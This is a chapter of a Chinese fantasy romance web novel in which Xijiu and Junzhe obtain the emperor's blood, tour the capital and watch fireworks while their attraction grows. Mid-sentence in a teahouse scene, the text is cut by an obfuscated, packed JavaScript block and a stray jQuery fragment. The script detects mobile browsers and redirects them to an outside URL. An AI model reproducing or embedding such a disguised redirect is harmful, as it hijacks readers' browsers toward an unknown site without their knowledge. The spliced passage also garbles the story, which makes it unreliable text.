浓稠黑云之下一只振翅的乌鸦飞过,用凄厉的叫声在天际边划出一套裂痕,良久后抖落一身羽毛落在了琉璃瓦上。檐下的窗棂流入一阵风,吹起了屋内的薄纱一片。
层层幔纱后坐着一位身着玄色衣袍的男子,他神情慵懒地靠在椅背上,任由身旁的婢女用温水为他擦拭指节。
“殿下,那梦貘妖死了。”
幔外的黑衣人毕恭毕敬地说道。
玄衣男子眉头轻皱,冷笑一声,“哦,死了?我以为他会更聪明些。”
毕竟这可是他花大手笔炼制出来的首批具有自我意识的妖邪,他原以为会比那些形如傀儡的怪物强一些,遂而将他放在了人界削弱那帝王的福泽之气,以便日后好拿捏,没想到不过短短十余年就死了。
“他是被千杀阵灭掉的。”
玄衣男子随意地转动手中的扳指,“你将血给他了么?”
“属下给了。”
“如此都还死了,真是废物一个。”
“那千杀阵是一位修道凡人所制,只不过他身边貌似跟着一位仙君。”
“哦?天界的人也爱插手妖界之事么?”玄衣男子挑了挑眉,神色闪过一丝惊讶。
“需要手下去处理吗?”
“不必了,这样一个废物死了就死了。”
他不想与天界之人扯上关系,现在他更为关心的是那血的作用。
“这血与之前的相比如何?”
黑衣人说道:“与之前相比确实效果更好,只是和我们预期的有些大,这血的确可以让人短暂地复生,但是还远远达不到不死不灭的程度。”
玄衣男子思忖一会儿,“继续给我寻那至阴之血,有那么多人,本君就不信一个也试不出来。”
黑衣人点点头,正准备领命下去,却听见靠椅上那人道:“对了,均澈最近怎么样?”
听到此,黑衣人瞳孔一震,连忙跪下,神色慌张地说道:“属下没用,没能找到二殿下。”
玄衣男子面露怒色,狠狠地将手中的扳指扔过去,在黑衣人的额角砸出一个血窟窿,但随即又舒展眉头,阴冷地笑道:“无妨,下月是金雀国王大婚,本君就不信他不来。”
经过梦貘那一战后,西玖昏迷了两日才醒来。
她脑袋昏沉,摇摇晃晃地从床上爬起来时,便听见门外有两个人在你一句我一句地互相讥讽。
“你不是林齐越,你到底是谁?”
“与你无关,让开,我有东西要交给阿瑾。”
“不让,此前我便说过,我不会容忍一个不知底细的人在我身边,你要么说出你的身份,要么就别怪我不客气!”
西玖听出了君辙话里的杀意,心道不好,青榭一个修道的凡人怎么打得过君辙。
她连忙推开门冲出去,果不其然看见君辙将青榭拦在门后,浑身溢出了浓重的法力,好似下一秒便会朝青榭狠狠地击过去。
“住手!”
西玖大喊一声,跑过去拦在了青榭的面前。
君辙看见西玖跑了出来,立刻收了法力,眼底的阴翳立刻被温和填满,“你醒了,身体可有不舒服的地方?”
面对君辙的询问,西玖一怔,原本平静的心海又不止泛起一圈涟漪。
他在关心她?
虽然此前君辙也不止一次地这样做过,可这一次她明显地感觉到,自己对君辙的态度有些不同了。
她正了正神色,道:“我,我没事。这是我师傅青榭,你不要伤害他。”
“师傅?”
君辙眯起眼,全是对待敌人警惕的审视,随后笑道:“原来是我冒犯了。”
青榭看了他一眼,并未搭理他,而是走向西玖,将一个金色的小瓶子递了过去。
“这是帝皇血。”
西玖惊讶地接过,“谢谢师傅。”
没想到青榭帮她把帝皇血取了回来,也丝毫没有责备她没有听他的话,私自进入了梦貘阵法的事,不过她还是打算认错。
正欲开口,就听见君辙在一旁阴阳怪气道:“不愧是阿玖的师傅,哪怕以凡躯修道,也能造千杀阵,取帝皇血,在下实在是佩服。”
他特意把“阿玖”两个字加重,听得西玖怪怪的。不过在得知青榭造千杀阵时,她的眉间流露出几分担忧,青榭为凡躯,哪怕修道也没有如此强大的力量造出千杀阵,唯一一个可能便是他用自己的血为引子,借助自然之力造阵,但此方法对身体伤害巨大。
“师傅你没事吧?”
对上西玖担忧的双眸,青榭下意识蠕动了嘴唇,可随即冷着脸说道:“无妨。”
西玖微微点头,觉得青榭可能不太愿意搭理他。
“我先走了,你们找个时间便去把双生咒解了。”
青榭的语气淡漠得像初春融化的雪水,料峭刺骨。
“这个就不劳你费心了。”
君辙在旁边沉着一张脸,而青榭只是毫不在意地瞥了一眼便能拂袖离开了。
“阿玖,你很怕他?”
被君辙突如其来地一问,西玖差点没反应过来。
“怕是有一点吧,不过更多的是敬重。”
西玖喃喃道。毕竟这可是当初把她从生死线上救回来的人,虽然平时很严肃,可到底待她还是不错的。
看着君辙双手交叉一幅若有所思的样子,西玖忽然想起了什么,语调急转直下。
“谁叫你这么叫我的?”
“什么?”
君辙眉头微皱,倏而眼角又浮现一丝笑意,“阿玖?怎么,这个称呼不好听吗?”
西玖的耳尖突然生出淡淡粉红,之前都还恭恭敬敬叫她一声“掌门大人”呢,怎么今天喊起“阿玖”了?
“我,我不习惯,不许这么叫。”
“唔,我觉得挺不错。阿玖,阿玖,听着多亲切,多可爱。”
君辙的脑海中不禁浮现出环境中小西玖那赤发金瞳的模样,俨然像一个小雪包子,只是西玖现在以金雀族的面目示人,便是一幅黑发墨瞳,想来还真是有些可惜。
西玖的心随着君辙的话语摇晃,颇有些恼怒,“你再说我真的会杀了你。”
君辙听后摇摇头,非常作死地说道:“我不信,阿玖才不会杀我。”
西玖白了他一眼,头也不回地拿着帝皇血进了屋内。
君辙也跟在西玖后面屁颠屁颠地走了进去。
“既然已经拿到了帝皇血,不日我们便可去找辛礼她们解咒了。”
西玖将瓶子塞入自己的腰间,淡淡道。
君辙在她旁边找了个地方坐下,托着脸,颇有些伤感道:“那么着急吗,原来阿玖竟如此嫌弃我。”
西玖带着满脸的疑惑和鄙夷看了他一眼,“你看来很乐意把自己的命交到别人手里。”
“可你又不是别人。”
君辙以极其平常的语气说了出来,但在西玖听来却不是这么回事。
她不是别人,那她是谁?是他的朋友、盟友、亲人?还是说……爱人?
她思绪飞转,快乱成一锅粥了,想到“爱人”这里,她便不敢想下去了。
君辙间西玖好长时间不说话,以为她生气了,便说:“阿玖不要生气,我只是在想,有了双生咒,我可以第一时间感知你的危险来救你,我也可以第一时间感知你的情绪来安慰你,绝对没有别的意思。”
什么别的意思?
他把她看成什么人了?
西玖有些恼怒,冷冷道:“谁要你保护?还有我可没有故意去窥探别人心绪的癖好,我劝你也不要这样做,否则我知道了真的会杀了你。”
君辙弯着眼角点点头。
从前他觉得西玖就是一个事事要强,做事情不近人情的人,可后来他发现,她不过是个心里头脆弱善良,对外张牙舞爪来保护自己的小凤凰,所以他现在觉得西玖生气,看着都带有一丝莫名的……可爱。
“你一直看着我做什么?”
君辙挑了挑眉,“这事情也办完了,好不容易来了一趟人界,不好好逛逛,直接回去多可惜啊。”
西玖知道直接让君辙走也不太现实,于是便答应了下来,毕竟她自己也从来没来过人界,也想好好看看。
翌日,他们撤掉了所设的换影阵,真正的林幼商和裴容也回到了京城,听闻几日后便要举行婚礼了,西玖知道后心里还是挺高兴的。
“幸好他们最后走到了一起,不然你我可就罪孽深重了。”
西玖坐在茶楼里,吃着手里的桃花糕。
君辙坐在她对面,慢慢悠悠地沏着茶,“这只能说明他们的人缘分太深,不然哪怕没有你我插手,他们也走不到一起去。”
西玖点点头,没有否认,而后又问道:“小昭呢?”
君辙刚要回答,便被坐在旁边吃茶的客人打断。
“你听说了吗,皇帝知道贤妃将宁妃私自处死,伤心欲绝,龙颜大怒,把贤妃一家子都给流放了,然后为了补偿亲自把宁妃的孩子放在身边教养。”
“嘶,这宁妃不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439747|162570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冷宫中的疯妃吗,怎么会惹的皇帝如此伤心?”
“你有所不知,在贤妃来之前,皇上最宠爱的便是宁妃,二人自小青梅竹马,伉俪情深。谁知道这贤妃后来使了什么手段迷惑了皇上,如此到此境地也是活该。”
西玖听着旁边的人你一言我一语的讨论,便淡淡道:“看来这贤妃也是受那梦貘蛊惑,不过得知小昭有个好去处我便心安了。”
“这皇帝没了梦貘,果真正常了许多,要是我见他如此昏庸,早就把他的头给砍下来了。”
“三殿下好能耐。”
面对西玖的调侃,君辙只是淡淡一笑,因为他现在谋划的便是这样一件事。
他父王昏庸无道,还害的他母亲惨死,他觉得把他父王的头砍下来都算便宜了他了。
周围嘈杂声不断,突然有人高着调子说:“裴将军平定边关,威震四方,敌国使节今日前来和皇上签订永不侵犯条款,皇上高兴,宣布大赦天下,取消今晚宵禁!”
众人听此无不欢呼,连西玖都被他们这欢乐的氛围所感染。
君辙问道:“今晚要出去看看吗?”
“自然。”
一般只有特定节日才会取消宵禁,今日皇上破例,街巷间竟比节日期间更加热闹。
大街上人头攒动,红绸花灯高挂,商贩的叫卖声一浪盖过一浪,一些杂耍戏曲的班子也支了个高台,在阵阵喝彩中翻筋耍火,好不精彩。
“好热闹。”
西玖不由地感慨,这些此前她可是从来没见过的。
“这个给你。”
君辙把一个红色果实的串串递给了西玖,外面还包裹着淡黄色的糖浆。
“这是什么?”
“这个在人间被叫做糖葫芦,是一种零嘴。”
西玖咬了一口,酸甜的味道在她的嘴巴里弥散了开来。
“不错。”
她很高兴地接了过去,突然一阵爆炸声从天空传来,她循声望去,原来是绽开在夜空的绚烂花火。
“真美。”
“我带你去个视野更好的地方。”
说罢,还未等她反应过来,君辙便拦腰将她带到了一处高楼上。
“这是整个京城最高的地方。”
西玖往下一看,果真整个京城尽收眼底,这样看竟比方才在城中更为美丽。
“给你。”
君辙将一壶酒放在了西玖身边,自己则开始喝另一壶。
“你竟然带了酒?”
“良辰美景,有了美人又怎能缺好酒呢?”
西玖下意识地摸了摸自己的脸,美人?好吧,她也勉强能算得上吧。
她心中一喜,拿起身边的酒也喝了一起来。
烟火飞扬,煞似流星,华灯初上,犹如银河,他们便在此间徜徉,原以为世间美好不过如此,可当西玖转头望向君辙时,却发现真正的星辰在他眼底盛满,面前的流光璀璨却不及他眉眼一分。
晚风挑起他的发丝绕过俊丽的面颊,月华如练,在他的白衣上撒下一片清辉,剑眉星眸、天人之姿,仿佛一张不可触摸的画卷。
“阿玖,你一直看着我做什么?”
西玖被他突如其来地一问吓得差点从瓦檐上滑落下去,幸而君辙出手捞住了她。
“小心。”
她靠在君辙的怀里,熟悉的气息让她不禁想起在梦境中的那晚,她也是这样被君辙抱住。
彼时她情绪崩溃,濒临绝望,他将她搂在怀里,用手轻拍她的脊背,柔声安抚。
“没事的,我会一直在你身边。”
他窥见了她的狼狈与不堪,但却没有逃走,而是选择陪伴她,抚平她的痛楚。
她自小孤独,仇恨几乎占据她所有的生命,她只能选择一人面对,本以为将永远会生活在阴影中,可是君辙却向她提灯走来,自此她才觉得她的生命也能足够明亮,她也第一次感觉到,被人坚定的选择、陪伴的滋味是那么美好。
“在想什么呢?”
君辙低头看向她。
“没,没什么,你可别擅自窥探我的心绪,你知道的,我会杀了你的。”
西玖越说声音越小,连自己都不相信自己说的话。
“我没有,不过我真的在好奇阿玖在想什么。”
他越说靠得越近,马上要和西玖鼻尖相贴了。
“都说了没什么!”
西玖连忙推开他,别过身捂住自己狂跳的胸口。
她想,她真的对君辙动心了。